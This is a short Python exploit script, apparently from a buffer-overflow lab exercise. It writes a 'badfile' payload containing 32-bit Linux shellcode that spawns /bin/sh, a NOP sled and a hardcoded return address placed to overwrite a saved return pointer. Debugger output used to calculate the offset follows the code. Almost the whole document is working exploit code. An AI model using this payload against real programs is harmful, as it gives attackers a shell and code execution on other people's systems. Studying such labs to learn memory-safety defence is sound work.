#!/usr/bin/python3

import sys



shellcode= (

"\x31\xc0" 			# xorl %eax,%eax

"\x50" 				# pushl %eax

"\x68""//sh" 		# pushl $0x68732f2f

"\x68""/bin" 		# pushl $0x6e69622f

"\x89\xe3" 			# movl %esp,%ebx

"\x50" 				# pushl %eax

"\x53" 				# pushl %ebx

"\x89\xe1" 			# movl %esp,%ecx

"\x99" 				# cdq

"\xb0\x0b" 			# movb $0x0b,%al

"\xcd\x80" 			# int $0x80

).encode('latin-1')



# Fill the content with NOPs

content = bytearray(0x90 for i in range(1200)) 



# Put the shellcode at the end

start = 1200 - len(shellcode)

content[start:] = shellcode 



# Put the address at offset 112

ret = 0xbfffeb08 +25

content[1012:1016] = (ret).to_bytes(4, byteorder='little')



# Write the content to a file

with open('badfile', 'wb') as f:

	f.write(content)

'''

gdb-peda$ p $ebp
$1 = (void *) 0xbfffeaf8
gdb-peda$ p &buffer
$2 = (char (*)[1000]) 0xbfffe708
gdb-peda$ p/d 0xbfffeaf8 - 0xbfffe708
$3 = 1008'''

#ebp from demo 0xbfffeb08
